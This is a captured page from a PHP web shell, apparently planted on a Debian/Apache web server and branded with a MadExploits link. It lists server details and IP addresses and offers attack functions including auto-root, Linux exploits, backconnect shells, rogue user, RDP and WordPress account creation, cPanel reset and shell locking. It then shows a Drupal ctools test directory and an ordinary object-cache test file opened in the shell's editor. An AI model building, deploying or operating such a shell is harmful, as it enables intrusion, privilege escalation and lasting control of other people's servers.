Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.129.70.138
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
modules /
ctools /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
ctools_export_test
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
context.test
1.9
KB
-rw-r--r--
css.test
3.47
KB
-rw-r--r--
css_cache.test
1.11
KB
-rw-r--r--
ctools.drush.sh
2.59
KB
-rw-r--r--
ctools.plugins.test
3.96
KB
-rw-r--r--
ctools_plugin_test.info
509
B
-rw-r--r--
ctools_plugin_test.module
1.53
KB
-rw-r--r--
math_expression.test
6.35
KB
-rw-r--r--
math_expression_stack.test
1.79
KB
-rw-r--r--
object_cache.test
1.34
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : object_cache.test
<?php /** * @file * Tests for different parts of the ctools object caching system. */ /** * Test object cache storage. */ class CtoolsObjectCache extends DrupalWebTestCase { public static function getInfo() { return array( 'name' => 'Ctools object cache storage', 'description' => 'Verify that objects are written, readable and lockable.', 'group' => 'Chaos Tools Suite', ); } public function setUp() { // Additionally enable ctools module. parent::setUp('ctools'); } public function testObjectStorage() { $account1 = $this->drupalCreateUser(array()); $this->drupalLogin($account1); $data = array( 'test1' => 'foobar', ); ctools_include('object-cache'); ctools_object_cache_set('testdata', 'one', $data); $this->assertEqual($data, ctools_object_cache_get('testdata', 'one'), 'Object cache data successfully stored'); // TODO Test object locking somehow. // Object locking/testing works on session_id but simpletest uses // $this->session_id so can't be tested ATM. ctools_object_cache_clear('testdata', 'one'); $this->assertFalse(ctools_object_cache_get('testdata', 'one'), 'Object cache data successfully cleared'); // TODO Test ctools_object_cache_clear_all somehow... // ctools_object_cache_clear_all requires session_id funtionality as well. } }
Close